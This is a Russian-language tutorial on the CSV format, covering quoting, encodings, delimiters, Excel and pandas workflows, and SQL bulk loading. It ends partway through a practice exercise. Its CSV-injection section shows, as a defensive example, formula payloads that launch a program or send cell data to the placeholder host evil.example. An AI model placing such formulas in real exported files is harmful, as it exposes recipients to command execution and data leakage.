Перейти к основному содержимому

CSV

Play ITЗагрузка интерактивного демо…

Разработчику Аналитику Инженеру

CSV​

Основы​

★ CSV (Comma-Separated Values, "значения, разделённые запятыми") — текстовый файл, в котором таблица записана построчно. Каждая строка файла — одна запись (одна строка таблицы). Столбцы отделяют символом-разделителем, чаще запятой , или точкой с запятой ;.

Таблица — прямоугольная сетка: у каждой строки одинаковое число столбцов (или явно пустые ячейки). CSV хранит только такую "плоскую" структуру: без вложенных объектов, без массивов внутри ячейки (если только вы сами не договорились кодировать JSON-строкой в одном поле).

Единого стандарта на все программы исторически не было. Ориентиры:

  • RFC 4180 — общие правила обмена табличными данными в текстовом виде
  • соглашения конкретной программы (Excel, LibreOffice, Google Sheets, pandas, СУБД)
  • внутренний контракт данных команды (какой sep, кодировка, формат даты)

CSV удобен, когда данные плоские — одна строка таблицы без вложенных объектов:

  • выгрузка отчётов и датасетов из CRM, ERP, бухгалтерии
  • импорт в базу данных или обратная выгрузка для аналитика
  • обмен между Excel, Google Sheets, LibreOffice Calc и скриптом на Python
  • простые логи, выгрузки API, промежуточные файлы ETL
  • загрузка справочников (города, SKU, сотрудники) в staging перед слиянием с основной таблицей

Иерархия и вложенные объекты — в JSON. Контракт API с валидацией полей — JSON Schema и OpenAPI. Конфигурация приложения с секциями — TOML. Большие объёмы для аналитики и колоночное сжатие — Parquet и ORC. Как байты превращаются в буквы — кодировки и текстовые форматы.


История и роль CSV в обмене данными​

Формат зародился в 1970-х, когда табличные данные переносили между системами учёта и ранними электронными таблицами. Название закрепилось за разделителем-запятой, хотя на практике часто встречаются ;, табуляция \t и реже |.

Почему CSV до сих пор жив

  • файл открывается в блокноте, Excel и терминале без специальных библиотек
  • любой язык программирования умеет читать текст построчно
  • человек видит ошибку глазами (лишняя запятая, битая кодировка)
  • интеграции с legacy-системами (1С, госотчётность, банковские выгрузки) часто отдают только CSV

Ограничения

  • нет встроенных типов: число 42 и строка "42" в файле выглядят одинаково
  • нет схемы в самом файле (в отличие от JSON Schema)
  • плохо сжимается по сравнению с Parquet
  • один неверный символ в середине файла ломает разбор всей строки

В современном контуре CSV — мост между "человеческой" таблицей и программной обработкой. Типичный путь: выгрузка из Excel → проверка в pandas → staging в PostgreSQL → очистка по пакетной работе с данными → загрузка в витрину.


Структура файла​

Минимальный пример с заголовком и тремя записями:

id,name,city,salary
1,Иван Петров,Москва,75000
2,Мария Сидорова,Санкт-Петербург,82000
3,Алексей Козлов,Казань,68000

Строка заголовков (header row) — первая строка с именами столбцов. Имена помогают pandas и DictReader сопоставить ячейки с полями. Технически заголовок необязателен: некоторые промышленные выгрузки отдают только данные, а имена столбцов передают отдельным документом.

Запись (record) — одна строка файла между переводами строки. Поле (field) — текст между разделителями.

Правила, которые соблюдают почти везде:

  • первая строка часто содержит заголовки (имена столбцов)
  • поле с запятой, кавычками или переносом строки оборачивают в двойные кавычки "..."
  • кавычка внутри поля записывается дважды: "ООО ""Ромашка"""
  • конец строки в Unix и macOS — \n (LF), в Windows — \r\n (CRLF)
  • пустое поле между разделителями означает отсутствие значения (пустая ячейка)
  • пробелы вокруг разделителя в RFC 4180 не являются частью поля, если только они не внутри кавычек

RFC 4180 — правила и примеры​

RFC 4180 описывает MIME-тип text/csv и соглашения для обмена. Документ не запрещает другие разделители, но фиксирует ожидаемое поведение для запятой.

Ключевые положения RFC 4180

  • каждая строка — список полей, разделённых запятой
  • последняя строка файла может заканчиваться переводом строки (рекомендуется)
  • необязательная первая строка — заголовки; имена заголовков уникальны в пределах файла
  • поля с разделителем, кавычками или переводом строки должны быть в двойных кавычках
  • двойная кавычка внутри поля кодируется как ""
  • файлы в кодировке, совместимой с US-ASCII, или в Unicode с явным указанием (на практике — UTF-8)

Пример 1. Обычные поля без кавычек

sku,title,price
A-100,Кабель USB-C,890
B-200,Мышь беспроводная,1250

Пример 2. Запятая внутри поля

Адрес содержит запятую — всё поле в кавычках:

id,address,city
1,"ул. Тверская, д. 5",Москва
2,"пр-т Невский, д. 28",Санкт-Петербург

Пример 3. Кавычки в названии организации

company_id,legal_name
10,"ООО ""Ромашка"""
11,"АО ""Север"""

После разбора значение поля: ООО "Ромашка" (одна пара кавычек вокруг слова внутри текста).

Пример 4. Перенос строки внутри ячейки

Многострочное описание товара:

id,description,price
42,"Куртка зимняя
размер M
цвет чёрный",4500

Визуально в файле это три строки текста, но для парсера — одна логическая запись, потому что перевод строки внутри кавычек.

Пример 5. Пустые поля

id,middle_name,email
1,,ivan@example.com
2,Петрович,

Между запятыми ничего нет — пустая строка как значение.

Пример 6. Пробелы

name , city
Alice , Moscow

RFC: пробелы вне кавычек не считаются частью поля. Имя станет Alice, город Moscow. Если пробелы значимы — кавычки: " Alice ".

Пример 7. Числа и даты

RFC не задаёт типы. Число и дата — это текст:

order_id,amount,ordered_at
9001,1250.50,2026-06-14
9002,"1 250,50",14.06.2026

Вторая строка показывает типичную русскую локаль: пробел как разделитель тысяч, запятая как десятичный знак. При импорте в SQL или pandas такие поля нужно нормализовать вручную — см. очистку данных в Pandas.


Кавычки, экранирование и краевые случаи​

Встроенные запятые. Любое поле, где есть символ-разделитель, оборачивают в "...". Иначе парсер разрежет одну ячейку на несколько столбцов.

Встроенные кавычки. Удвоение: " → "" только внутри quoted field.

Встроенные переводы строк. Допустимы только внутри кавычек. Перенос вне кавычек означает конец записи. Частая ошибка экспорта из Excel: комментарий в ячейке с Alt+Enter без корректного quoting — файл "раздувается" на лишние строки при импорте.

Смешанный quoting. RFC допускает, что часть полей в кавычках, часть без:

id,note,active
1,краткий текст,true
2,"текст с, запятой",false

Одинарные кавычки. В RFC 4180 не используются для полей. Строка 'Москва' — это буквально символы апострофа, не quoting по стандарту.

Обратный слэш. RFC 4180 не определяет escape через \. Некоторые нестандартные выгрузки экранируют \" — при чтении уточняйте escapechar в pandas или csv.

Табуляция внутри поля. Если разделитель — запятая, таб внутри ячейки можно писать без кавычек. Если разделитель — таб (TSV), поле с табом обязательно в кавычках.

BOM в начале первого заголовка. UTF-8 BOM иногда "приклеивается" к имени первого столбца: \ufeffid вместо id. Решение — encoding="utf-8-sig" в Python.

Последняя запятая в строке (trailing comma). RFC 4180 её не описывает. Excel обычно не ставит. Некоторые генераторы ставят — pandas может создать лишний пустой столбец. Проверяйте df.columns после чтения.

Неравное число столбцов. Строка с лишней запятой даст больше полей, чем заголовок. pandas по умолчанию может предупредить или отбросить хвост; csv модуль не валидирует — вы получите "кривую" строку. Перед загрузкой в БД считайте поля на строку.


Кодировки UTF-8, UTF-8 BOM, cp1251 и Latin-1​

Кодировка (encoding, charset) — правило, по которому байты файла превращаются в символы (кириллица, латиница, эмодзи). Если программа открыла файл в неверной кодировке, русский текст превращается в "кракозябры" — набор бессмысленных латинских букв и знаков.

Подробная теория — в текстовых форматах и кодировках.

КодировкаГде встречаетсяПризнакиPython
UTF-8веб, macOS, Linux, современный Excel, Google Sheetsкириллица читается везде одинаково; без BOMencoding="utf-8"
UTF-8 с BOM"Сохранить как CSV UTF-8" в Excel на Windows, некоторые экспорты 1Спервые байты EF BB BF; в редакторе иногда видно как невидимый символ в началеencoding="utf-8-sig"
cp1251 (Windows-1251)старые выгрузки, 1С, часть госотчётов в РФ, legacy CRMпри открытии как UTF-8 — "МоÑква" вместо "Москва"encoding="cp1251"
Latin-1 (ISO-8859-1)старые европейские выгрузки, HTTP по умолчанию в прошломкириллицы нет; русский текст будет повреждёнencoding="latin-1"
cp866консоль DOS, очень старые файлыузкий круг legacyencoding="cp866"

UTF-8 кодирует кириллицу двумя байтами на символ. Файл совместим с ASCII для латиницы. Это дефолт для новых интеграций.

UTF-8 BOM (Byte Order Mark) — служебная последовательность в начале файла. Excel на Windows использует её, чтобы отличить UTF-8 от cp1251. Для Python и PostgreSQL BOM обычно мешает, если не указать utf-8-sig: первый заголовок становится \ufeffid.

cp1251 — однобайтовая кодировка Windows для кириллицы. В России встречается в выгрузках, созданных до перехода на UTF-8. Признак ошибки: открыли как UTF-8 — видите псевдолатиницу с диакритикой.

Latin-1 каждый байт 0–255 — символ. Русских букв в таблице нет. Иногда файл ошибочно объявляют Latin-1, чтобы "прочитать что угодно" — это заглушка, которая скрывает реальную cp1251 и портит данные. Лучше определить кодировку явно.

Как определить кодировку на практике

  • откройте файл в VS Code, Notepad++ или Cursor и переключите кодировку вручную
  • посмотрите, при каком варианте кириллица читается нормально
  • для автоматики — библиотека charset-normalizer или chardet (результат проверяйте на известной строке)
  • договоритесь с поставщиком данных: "все файлы UTF-8 без BOM, разделитель ;"

UnicodeDecodeError в Python значит, что указанная кодировка не совпала с реальной. Попробуйте по очереди:

import pandas as pd

encodings = ["utf-8-sig", "utf-8", "cp1251", "cp866"]
for enc in encodings:
try:
df = pd.read_csv("data.csv", encoding=enc, sep=";", nrows=5)
print(f"OK: {enc}")
break
except UnicodeDecodeError:
print(f"fail: {enc}")

Сохранение из Python

df.to_csv("out.csv", index=False, encoding="utf-8-sig", sep=";")

utf-8-sig удобен, если файл снова откроют в Excel на Windows. Для чистого контура Linux/PostgreSQL чаще пишут utf-8 без BOM.

PostgreSQL и кодировки

COPY ... ENCODING 'UTF8' ожидает UTF-8 без сюрпризов. Файл cp1251 нужно перекодировать заранее:

iconv -f cp1251 -t utf-8 input.csv > output_utf8.csv

На Windows ту же задачу решают PowerShell, Python или Notepad++ (Кодировки → Преобразовать в UTF-8).


Разделитель полей и десятичный знак​

Разделитель полей (delimiter, separator) — символ между столбцами в одной строке. Его часто путают с десятичным разделителем в числах — это разные уровни.

СредаРазделитель полейДесятичный знак в числахТысячи
RFC 4180, США, UK,., или без
Excel, локаль ru-RU;,пробел или без
Excel, локаль en-US,.,
Google Sheets (экспорт)часто ,зависит от локали браузеразависит от локали
LibreOffice Calc ruчасто ;,пробел
TSV (табличный текст)\t (таб)зависит от источниказависит от источника

Если все данные оказались в одном столбце — неверный sep в pandas или неверная локаль при экспорте:

import pandas as pd

df = pd.read_csv("report.csv", sep=";", decimal=",", thousands=" ")

Как узнать разделитель

  • откройте первые строки в редакторе: что повторяется между словами — ,, ; или таб
  • pandas иногда угадывает через sep=None, engine="python" на маленьком файле (медленно на гигабайтах)
  • csv.Sniffer().sniff(sample) в стандартной библиотеке — эвристика, не гарантия

Региональные настройки Excel (Windows)

Путь: Файл → Параметры → Дополнительно → Параметры редактирования (или Параметры → Язык и регион в новых версиях). Там задаются:

  • разделитель списков — станет разделителем полей в CSV при классическом экспорте
  • десятичный разделитель — влияет на то, как числа попадут в текст файла

Перед обменом с кодом зафиксируйте разделитель или сохраняйте через CSV UTF-8 (разделитель — запятая) — этот пункт в русской локали часто всё равно даёт запятую как sep полей.

Контракт для команды (пример)

Зафиксируйте в README или в тикете на интеграцию:

  • кодировка UTF-8 с BOM или без (одно на весь проект)
  • разделитель полей ;
  • десятичная точка . в числах (нормализуете при выгрузке из ru-Excel)
  • дата в ISO YYYY-MM-DD
  • первая строка — заголовки на английском snake_case

Экспорт из Excel​

Microsoft Excel (Windows)

Варианты сохранения:

  • Файл → Сохранить как → CSV UTF-8 (разделитель — запятая) (*.csv) — предпочтительно для Python, веба и PostgreSQL; обычно UTF-8 с BOM и , как sep
  • CSV (разделитель — запятые) (*.csv) — зависит от региональных настроек; в ru-RU часто ; и cp1251
  • Текстовые файлы (с разделителями табуляции) — по сути TSV

Пошагово для UTF-8:

  1. Убедитесь, что на листе значения, а не формулы (см. ниже)
  2. Файл → Сохранить как
  3. Тип файла: CSV UTF-8 (разделитель — запятая)
  4. Откройте результат в блокноте: первая строка читаема, кириллица корректна
  5. Проверьте разделитель и отсутствие лишних пустых строк внизу листа

Формулы и отображаемое значение

Excel в ячейке может хранить формулу =SUM(A1:A10), а на экране — число. При экспорте в CSV:

  • обычно попадает результат формулы (число или текст)
  • если включён показ формул (Формулы → Показать формулы), в файл уйдут строки, начинающиеся с =
  • строки вида =HYPERLINK(...), =WEBSERVICE(...) опасны при открытии CSV в Excel получателем (см. раздел про CSV injection)

Перед экспортом: Специальная вставка → Значения для критичных столбцов, если копировали из другого листа с формулами.

Формат дат и чисел

Ячейка "дата" в Excel — внутренний serial number. В CSV дата станет тем, как её форматирует локаль:

  • 14.06.2026 в ru-RU
  • 6/14/2026 в en-US
  • иногда 44927 как число, если формат ячейки "Общий"

Для интеграций задайте пользовательский формат yyyy-mm-dd на столбце дат до экспорта.

Пустые строки и скрытые фильтры

Excel экспортирует весь использованный диапазон листа. Пустые строки внизу превратятся в строки из одних разделителей ;;;. Отфильтрованные скрытые строки попадают в CSV — фильтр на экспорт не влияет. Очистите хвост листа или копируйте только диапазон с данными на новый лист.

Несколько листов

CSV — один лист. Каждый лист сохраняют отдельным файлом или используют XLSX / Parquet для многостраничных книг.

Подробнее про таблицы — Excel — основы, разведочный анализ в Excel, формулы в Lab.


Экспорт из Google Sheets и LibreOffice​

Google Sheets

  • Файл → Скачать → Значения, разделённые запятыми (.csv) — обычно UTF-8 и , как разделитель
  • локаль аккаунта Google влияет на отображение чисел в интерфейсе, экспорт CSV чаще даёт "сырой" текст ячеек
  • объединённые ячейки дают непредсказуемую структуру — разъедините перед выгрузкой
  • формулы экспортируются как вычисленные значения

Проверка после скачивания:

  • кодировка UTF-8 в редакторе
  • первая строка — заголовки
  • нет ведущих/замыкающих пробелов в заголовках (обрежьте в Sheets функцией TRIM)

LibreOffice Calc

  • Файл → Сохранить как → Текст CSV (.csv)
  • появится мастер: кодировка (UTF-8), разделитель полей, разделитель строк, сохранять ли как UTF-8
  • для ru-локали по умолчанию часто предлагается ; и , в числах

Рекомендуемые настройки мастера для интеграции с Python:

  • кодировка UTF-8
  • разделитель ; или , (как в контракте)
  • всегда заключать в кавычки текстовые поля (галочка "все в кавычках" снижает риск с запятыми внутри)

Сравнение экспорта

ИсточникТипичная кодировкаТипичный sepЗамечание
Excel Win UTF-8UTF-8 BOM,BOM у первого заголовка
Excel Win классический CSVcp1251; в ruпроверяйте в блокноте
Google SheetsUTF-8,предсказуемо для веба
LibreOfficeUTF-8 (если выбрали)настраиваетсямастер задаёт quoting

TSV и другие разделители​

TSV (Tab-Separated Values) — тот же логический формат, но разделитель полей — символ табуляции \t. Расширение файла часто .tsv или .txt.

id name city
1 Иван Петров Москва
2 Мария Сидорова Санкт-Петербург

Когда выбирают TSV

  • в данных много запятых (описания товаров, юридические тексты)
  • пайплайн Unix (cut, awk) с табом как разделителем
  • выгрузки биоинформатики, логов, некоторых API

Чтение в pandas

df = pd.read_csv("data.tsv", sep="\t", encoding="utf-8")

PSV (pipe-separated, |) встречается в legacy ETL. Чтение: sep="|". Символ | реже встречается в тексте, но встречается в markdown-таблицах и логах.

Контрольный символ \x1f иногда используют в промышленных выгрузках, когда в тексте есть и запятые, и табы. Такие файлы читают только с явным sep="\x1f".


Загрузка в Python — модуль csv​

Стандартная библиотека csv подходит для потоковой обработки без тяжёлого датафрейма.

csv.reader — список списков:

import csv

with open("data.csv", newline="", encoding="utf-8-sig") as f:
reader = csv.reader(f, delimiter=";")
header = next(reader)
for row in reader:
print(dict(zip(header, row)))

csv.DictReader — каждая строка как словарь по заголовкам:

import csv

with open("data.csv", newline="", encoding="utf-8-sig") as f:
reader = csv.DictReader(f, delimiter=";")
for row in reader:
print(row["name"], row["city"])

csv.DictWriter — запись с заголовком:

import csv

rows = [
{"id": "1", "name": "Иван", "city": "Москва"},
{"id": "2", "name": "Мария", "city": "Казань"},
]

with open("out.csv", "w", newline="", encoding="utf-8-sig") as f:
writer = csv.DictWriter(f, fieldnames=["id", "name", "city"], delimiter=";")
writer.writeheader()
writer.writerows(rows)

Параметры quoting

import csv

with open("data.csv", newline="", encoding="utf-8-sig") as f:
reader = csv.reader(
f,
delimiter=";",
quotechar='"',
quoting=csv.QUOTE_MINIMAL,
)
  • QUOTE_MINIMAL — кавычки только где нужно (по RFC)
  • QUOTE_ALL — каждое поле в кавычках (удобно для Excel)
  • QUOTE_NONNUMERIC — кавычки у нечисловых полей
  • QUOTE_NONE — без кавычек (опасно при запятых в тексте)

Учебные примеры — Python — файлы и CSV.


Загрузка в Python — pandas read_csv и to_csv​

pandas.read_csv — основной инструмент аналитика. Ниже параметры, которые чаще всего спасают русские выгрузки.

sep — разделитель полей:

df = pd.read_csv("report.csv", sep=";")

decimal и thousands — локаль чисел:

df = pd.read_csv("report.csv", sep=";", decimal=",", thousands=" ")

encoding:

df = pd.read_csv("report.csv", encoding="utf-8-sig")

dtype — зафиксировать типы до парсинга (важно для ID с ведущими нулями):

df = pd.read_csv(
"users.csv",
sep=";",
dtype={"user_id": str, "zip": str},
)

Без dtype=str столбец 00123 станет числом 123.

na_values — что считать пропуском:

df = pd.read_csv(
"data.csv",
sep=";",
na_values=["", "NULL", "N/A", "-", "—"],
keep_default_na=True,
)

quoting — режим кавычек (константы из модуля csv):

import csv
import pandas as pd

df = pd.read_csv("data.csv", sep=";", quoting=csv.QUOTE_MINIMAL)

usecols — читать только нужные столбцы (экономия памяти):

df = pd.read_csv("big.csv", sep=";", usecols=["id", "amount", "date"])

parse_dates — сразу парсить даты:

df = pd.read_csv(
"orders.csv",
sep=";",
parse_dates=["ordered_at"],
dayfirst=True,
)

chunksize — читать кусками без загрузки всего файла в RAM:

import pandas as pd

chunks = pd.read_csv("huge.csv", sep=";", chunksize=50_000, encoding="utf-8-sig")
for chunk in chunks:
process(chunk)

nrows — только первые N строк (разведка):

sample = pd.read_csv("unknown.csv", sep=";", nrows=1000)

skiprows и skipfooter — пропуск служебных строк в начале/конце (footer требует engine="python").

on_bad_lines — поведение при битых строках (error, warn, skip в новых pandas).

low_memory — по умолчанию True, типы уточняются по чанкам (иногда даёт смешанные типы в столбце). Для стабильной схемы на средних файлах:

df = pd.read_csv("data.csv", sep=";", low_memory=False, dtype={"id": str})

comment — строки, начинающиеся с символа, считаются комментариями и пропускаются (нестандартно для RFC, но встречается в выгрузках):

df = pd.read_csv("data.csv", sep=";", comment="#")

lineterminator при записи — явно задать \n для Unix или \r\n для Windows-потребителей:

df.to_csv("unix.csv", index=False, sep=";", lineterminator="\n")

to_csv — запись:

df.to_csv(
"clean.csv",
index=False,
sep=";",
encoding="utf-8-sig",
decimal=".",
date_format="%Y-%m-%d",
quoting=csv.QUOTE_MINIMAL,
)

index=False убирает лишний столбец номеров строк pandas.

После чтения — очистка и подготовка данных в Pandas: trim пробелов, приведение типов, дедупликация.


Загрузка в SQL​

PostgreSQL COPY​

Массовая загрузка в PostgreSQL быстрее, чем тысячи одиночных INSERT:

COPY employees(id, name, city, salary)
FROM '/var/lib/postgresql/data/employees.csv'
WITH (
FORMAT csv,
HEADER true,
DELIMITER ';',
ENCODING 'UTF8',
NULL ''
);

FORMAT csv включает разбор кавычек по правилам, близким к RFC. Путь — на сервере БД, не на ноутбуке клиента (для удалённого файла — \copy в psql или staging через программу).

Staging перед COPY

CREATE TABLE staging_employees (LIKE employees INCLUDING DEFAULTS);

COPY staging_employees(name, city, salary)
FROM '/tmp/employees.csv'
WITH (FORMAT csv, HEADER true, DELIMITER ';', ENCODING 'UTF8');

INSERT INTO employees (name, city, salary)
SELECT name, city, salary
FROM staging_employees
WHERE name IS NOT NULL
ON CONFLICT (id) DO NOTHING;

TRUNCATE staging_employees;

Подробнее про транзакции и пакеты — пакетная работа с данными.

MySQL LOAD DATA​

LOAD DATA LOCAL INFILE 'employees.csv'
INTO TABLE employees
CHARACTER SET utf8mb4
FIELDS TERMINATED BY ';'
OPTIONALLY ENCLOSED BY '"'
LINES TERMINATED BY '\n'
IGNORE 1 LINES
(name, city, salary);

LOCAL INFILE может быть запрещён политикой безопасности — уточните у DBA. Кодировка таблицы и файла должна совпадать (utf8mb4 для полной Unicode).

SQLite и DB Browser​

Импорт в SQLite для учебного проекта:

  1. установите DB Browser for SQLite
  2. Файл → Импорт → Таблица из CSV
  3. укажите разделитель, кодировку UTF-8, первая строка — имена столбцов
  4. задайте типы столбцов вручную (всё TEXT безопасно на первом шаге)
  5. проверьте превью первых строк

Скриптовый путь — .mode csv, .import в sqlite3 CLI:

sqlite3 app.db
.mode csv
.separator ;
.import employees.csv staging_employees

Учебный маршрут — первые шаги с SQL.

Частые ошибки импорта в SQLite

  • все значения попали в один столбец — неверный .separator
  • первая строка стала данными — забыли, что .import по умолчанию не пропускает header; создайте таблицу заранее и используйте skip через временный файл без заголовка или импортируйте через DB Browser с галочкой "первая строка — имена"
  • ошибка encoding — пересохраните CSV в UTF-8

Переводы строк LF и CRLF​

Перевод строки завершает запись в файле. Три распространённых варианта:

  • LF \n — Linux, macOS, большинство серверов
  • CRLF \r\n — Windows, Excel при сохранении CSV на Windows
  • CR \r — старые Mac OS 9 (редко сегодня)

Парсеры pandas и csv обычно принимают оба \n и \r\n при чтении. PostgreSQL COPY понимает оба, если не задан жёсткий EOL.

Смешанные переводы в одном файле (часть строк LF, часть CRLF) случаются при склейке выгрузок. Симптом — "лесенка" в терминале или лишние \r в конце полей (Москва\r). Нормализация в Python:

from pathlib import Path

text = Path("mixed.csv").read_text(encoding="utf-8-sig")
text = text.replace("\r\n", "\n").replace("\r", "\n")
Path("normalized.csv").write_text(text, encoding="utf-8")

При передаче файла из Windows в Linux pipeline проверяйте утилитой file data.csv (покажет "CRLF line terminators") или откройте в hex-редакторе последние байты строки.


CSV injection (формульная инъекция)​

Если CSV откроют в Excel или LibreOffice, ячейка, начинающаяся с =, +, -, @, \t, может интерпретироваться как формула. Злоумышленник может подсунуть в текстовое поле:

user,comment
alice,"=CMD(""calc"")"
bob,"=HYPERLINK(""http://evil.example/?q=""&A1,""click"")"

При двойном клике или автоматическом пересчёте таблица выполнит нежелательное действие (DDE, внешние ссылки). Это не RCE на сервере БД, но риск для аналитика, который открывает выгрузку из недоверенного источника.

Меры

  • при экспорте из своей системы экранируйте опасные префиксы: вставьте апостроф ' или таб перед =
  • в Excel открывайте через Данные → Из текст/CSV с типом столбца "текст", а не двойным кликом по файлу
  • на сервере при генерации CSV проверяйте поля регулярным выражением на ведущие =+-@
  • не полагайтесь на "мы же в БД" — CSV уйдёт в почту и в Excel

Для веб-скачивания заголовок Content-Disposition: attachment снижает автоматическое исполнение, но не заменяет санитизацию.


Проверка качества данных перед импортом​

Перед COPY или массовым INSERT прогоните чеклист. Ошибка на строке 800 000 откатывает всю транзакцию или оставляет "грязную" витрину.

Структура файла

  • число столбцов в каждой строке совпадает с заголовком
  • нет пустых имён столбцов и дубликатов в header
  • файл не пустой, нет только BOM

Кодировка и символы

  • кириллица читается в целевой кодировке
  • нет "битых" surrogate пар (редко при кривой конвертации)
  • нет неожиданных управляющих символов кроме \r\n и \t

Типы и форматы

  • даты в согласованном формате (лучше ISO)
  • десятичный разделитель единообразен
  • булевы значения — true/false или 1/0, не смесь
  • идентификаторы с ведущими нулями не прошли через Excel как числа

Смысл данных

  • обязательные поля не пустые
  • справочные значения (город, статус) из известного набора
  • суммы и количества в разумных пределах
  • нет полных дубликатов строк (если не задумано)

Пример быстрой проверки в pandas

import pandas as pd

df = pd.read_csv("incoming.csv", sep=";", encoding="utf-8-sig", dtype=str)
report = {
"rows": len(df),
"cols": list(df.columns),
"dup_rows": df.duplicated().sum(),
"empty_id": df["id"].isna().sum() + (df["id"].str.strip() == "").sum(),
}
print(report)
assert report["dup_rows"] == 0, "найдены полные дубликаты"

Детальная очистка — очистка данных в Pandas.


Staging-таблицы и дедупликация​

Staging (промежуточная таблица) — место, куда CSV попадает до основной витрины. Схема совпадает с целевой или чуть шире (все поля TEXT, чтобы ничего не отвалилось при COPY).

Типичный pipeline:

  1. TRUNCATE staging_raw
  2. COPY / LOAD DATA в staging_raw
  3. SQL или pandas: очистка, cast типов, trim
  4. INSERT INTO prod SELECT ... WHERE ... с фильтрами
  5. дедупликация по бизнес-ключу

Дедупликация в SQL (PostgreSQL)

INSERT INTO customers (external_id, name, city)
SELECT DISTINCT ON (external_id) external_id, name, city
FROM staging_customers
ORDER BY external_id, imported_at DESC;

Идемпотентность

Повторная загрузка того же файла не должна плодить копии. Варианты:

  • ON CONFLICT DO UPDATE по первичному ключу
  • полная замена партиции за дату DELETE WHERE load_date = ... + insert
  • хеш строки в отдельном столбце и пропуск известных хешей

См. пакетная работа с данными про chunk, транзакции и bulk.


Большие файлы — память, chunks и dtypes​

Файл на 5–50 GB не помещается в RAM ноутбука целиком. Стратегии:

chunksize в pandas — обрабатывайте по 50 000–500 000 строк, агрегируйте инкрементально (суммы, счётчики), не копите все чанки в списке.

usecols — не читайте лишние столбцы.

dtype — числа как float32 вместо float64, категории как category после известного набора значений.

csv модуль — потоковая построчная обработка с константной памятью.

DuckDB — SQL прямо по CSV без полной загрузки в Python (см. ниже).

Парquet как следующий шаг — один раз конвертировали тяжёлый CSV в Parquet, дальше аналитика быстрее и дешевле по диску:

import pandas as pd

for i, chunk in enumerate(pd.read_csv("huge.csv", sep=";", chunksize=200_000)):
chunk.to_parquet(f"parts/part_{i:04d}.parquet", index=False)

Сжатие при передаче — gzip или zip уменьшает время копирования по сети; read_csv читает .csv.gz напрямую:

df = pd.read_csv("data.csv.gz", sep=";", compression="gzip")

Инструменты — csvkit и DuckDB​

csvkit — набор CLI-утилит для терминала (документация):

  • csvlook data.csv — красивая таблица в консоли
  • csvstat data.csv — min, max, среднее по столбцам
  • csvcut -c name,city data.csv — выбор столбцов
  • csvgrep -m "Москва" -c city data.csv — фильтр строк
  • csvjoin left.csv right.csv -c id — join двух CSV без Python

Установка: pip install csvkit.

DuckDB — встраиваемая аналитическая СУБД, читает CSV SQL-запросом (документация):

INSTALL httpfs;
LOAD httpfs;

SELECT city, COUNT(*) AS n, AVG(salary) AS avg_salary
FROM read_csv_auto('employees.csv', delim=';', header=true, encoding='UTF8')
GROUP BY city
ORDER BY n DESC;

read_csv_auto угадывает типы и разделитель — удобно для разведки, на проде фиксируйте параметры явно.

Другие утилиты

  • xsv (Rust) — быстрые slice, stats, search
  • mlr (miller) — CSV/JSON/TSV в shell
  • iconv — перекодировка
  • wc -l — быстрый подсчёт строк (не учитывает многострочные quoted fields — для точности используйте csvstat)

Быстрая разведка файла в терминале

head -n 3 data.csv
file -bi data.csv
csvstat --count data.csv
csvcut -c 1 data.csv | sort | uniq -c | head

Первая команда показывает разделитель и quoting. file -bi подсказывает MIME и charset (не всегда точен для cp1251). csvstat считает строки с учётом кавычек. Последняя — частоты значений в первом столбце (проверка ключей).


Сравнение CSV, JSON и Parquet​

КритерийCSVJSONParquet
Структураплоская таблицаобъекты, массивы, вложенностьколоночная таблица, вложенные типы ограниченно
Схема в файленетнет (есть JSON Schema отдельно)да, в метаданных
Типы данныхвсе строки при чтениистрока, число, bool, null, объект, массивint, float, string, date, decimal, list
Размер на дискебольшой (текст)средниймаленький (сжатие, колонки)
Скорость аналитикимедленно на GB+среднебыстро (проекция столбцов)
Открыть глазамиExcel, блокнотредактор JSONDuckDB, Spark, pandas
Потоковая записьпострочно легкопострочный JSONLнужны библиотеки
Совместимостьуниверсальнаявеб, APIdata engineering, ML
КодировкиUTF-8/cp1251 вручнуюUTF-8 по умолчаниюбинарный, кодировка внутри
Импорт в SQLCOPY, LOAD DATAJSON функции, JSONBвнешние таблицы, Spark
Типичные инструментыpandas, Excel, csvkitREST, jq, MongoDBSpark, DuckDB, BigQuery
Когда выбиратьобмен с Excel, legacyAPI, конфиги, логи событийхранилище аналитики, ML фичи

CSV + JSON в одном контуре

Часто API отдаёт JSON, а аналитик просит CSV. Конвертация через pandas:

import pandas as pd

records = [
{"id": 1, "name": "Иван", "tags": ["a", "b"]},
{"id": 2, "name": "Мария", "tags": ["c"]},
]
df = pd.json_normalize(records)
df.to_csv("flat.csv", index=False, sep=";")

Вложенные поля станут столбцами tags.0, tags.1 или сериализуйте JSON-строкой в одной ячейке — договоритесь в контракте.


Типичные ошибки и устранение​

СимптомВероятная причинаЧто сделать
UnicodeDecodeErrorневерная кодировкаutf-8-sig, затем cp1251; см. 111
Кракозябры в ExcelUTF-8 открыли как cp1251"Данные из текста", UTF-8; или пересохранить с BOM
Все поля в одном столбценеверный sepsep=";" или sep=","; смотрите файл в блокноте
Лишний пустой столбецtrailing comma или лишний ; в конце строкиочистить источник; usecols в pandas
Первый заголовок \ufeffidUTF-8 BOMencoding="utf-8-sig"
Числа как текстлокаль , как десятичныйdecimal=",", потом astype(float)
Даты разъехалисьсмесь форматовdayfirst=True, pd.to_datetime(..., format=)
Потеряны ведущие нули в IDExcel превратил в числоэкспорт как TEXT; dtype=str при чтении
Строк стало больше, чем в Excelпереносы в ячейках без кавычекисправить экспорт; quoted multiline
ParserError на строке Nкавычка не закрытанайти строку N в редакторе; починить quoting
Дубли после повторного импортанет ключа и stagingstaging + ON CONFLICT; 433
Пустые строки в конце файлапустой хвост листа Excelобрезать диапазон перед экспортом
Сумма не сходитсяпробелы, неразрывный пробелstr.replace("\u00a0", "").str.strip()
Научная нотация в IDширокий столбец Excelформат "текст" до ввода
Формула выполнилась при открытииCSV injectionсанитизация =+-@; импорт как текст
PostgreSQL COPY падаетпуть на клиенте, не на сервере\copy или staging на сервере
MySQL отказал INFILEполитика local_infileвключить у DBA или грузить через клиент
Все NULL в столбцеNULL как строка и пустое полеna_values, NULL '' в COPY
Разные числа в одном столбцемусор и текст среди чиселвалидация в staging, cast с ошибками в лог

Практическое задание​

Закрепите цепочку "Excel → CSV → Python → SQLite" на учебном наборе.

Шаг 1. Подготовьте таблицу

Создайте в Excel или Google Sheets лист employees со столбцами:

  • id (текст: 001, 002, 003 — проверка ведущих нулей)
  • name (кириллица)
  • city
  • salary (числа с тысячами по ru-формату)
  • note (одна ячейка с запятой внутри текста)

Шаг 2. Экспортируйте CSV

Сохраните как UTF-8 CSV. Откройте файл в блокноте и ответьте письменно (для себя):

  • какой разделитель полей
